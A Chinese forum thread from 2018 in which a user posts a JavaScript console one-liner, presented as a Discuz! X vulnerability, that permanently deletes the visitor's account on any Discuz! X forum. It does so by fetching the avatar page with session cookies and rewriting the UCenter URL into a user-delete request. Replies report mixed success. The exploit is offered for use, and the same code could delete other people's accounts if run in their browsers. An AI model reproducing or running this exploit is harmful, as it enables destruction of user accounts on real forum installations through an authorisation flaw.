教你利用漏洞永久刪除自己的loc賬號

橙影 · 发表于 2018-7-3 22:48:37

前言:有人說我被小黑屋了其實我的大號是自己刪掉的

【Discuz! X 论坛漏洞】
永久删除你在任何 Discuz! X 论坛的帐号

location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('真的要[永久]删除你的ID？'))?d:'';

来源：https://推特.com/Coxxs/status/960462809615052801
請謹慎沒有後悔藥我限制權限是為了讓元老才能刪

橙影 · 发表于 2018-7-3 22:52:06

VMCloud 发表于 2018-7-3 23:06

成功了一个，失败了一个

失败信息
還能這樣嗎... 反正我記得當初是直接返回一個數字過幾天就消失掉了這個應該是loc炸雞

橙影橙影 · 发表于 2018-7-3 22:53:00

优秀的苦瓜发表于 2018-7-3 23:11

报告，有人挖坟

http://www.hostloc.com/thread-427773-1-1.html
只是有人問我我解釋一下而已
我是人发表于 2018-7-3 23:34

用这个方法删号的。。。

帖子都还在，躲不掉。
左邊用戶提示的是該用戶已被刪除
至少對於其它普通用戶應該算是徹底消失了
然後再註冊一個一樣ID的號來在數據庫占個位置

坐怀不乱西门庆 · 发表于 2018-7-3 22:53:33

只能通过F12？快做一个网页啊哈哈

我是人 · 发表于 2018-7-3 22:55:00

用这个方法删号的。。。

帖子都还在，躲不掉。

小妹妹来吃鸡吧 · 发表于 2018-7-3 22:55:00

在那个论坛上试了下，返回4，但是还能发帖，退出后不能登录

tiaoyah6 · 发表于 2018-7-3 22:55:20

Service 发表于 2018-7-3 22:55

试了。没成功。
大佬赶紧去孵化小号

坐怀不乱西门庆 · 发表于 2018-7-3 22:55:27

"

快讲出你的故事

VMCloud · 发表于 2018-7-3 22:56:43

橙影发表于 2018-7-3 23:17

還能這樣嗎... 反正我記得當初是直接返回一個數字過幾天就消失掉了這個應該是loc炸雞 ...
不是loc，是一个论坛，但是更换的域名

lsza · 发表于 2018-7-3 22:57:44

真有用？我擦大杀器啊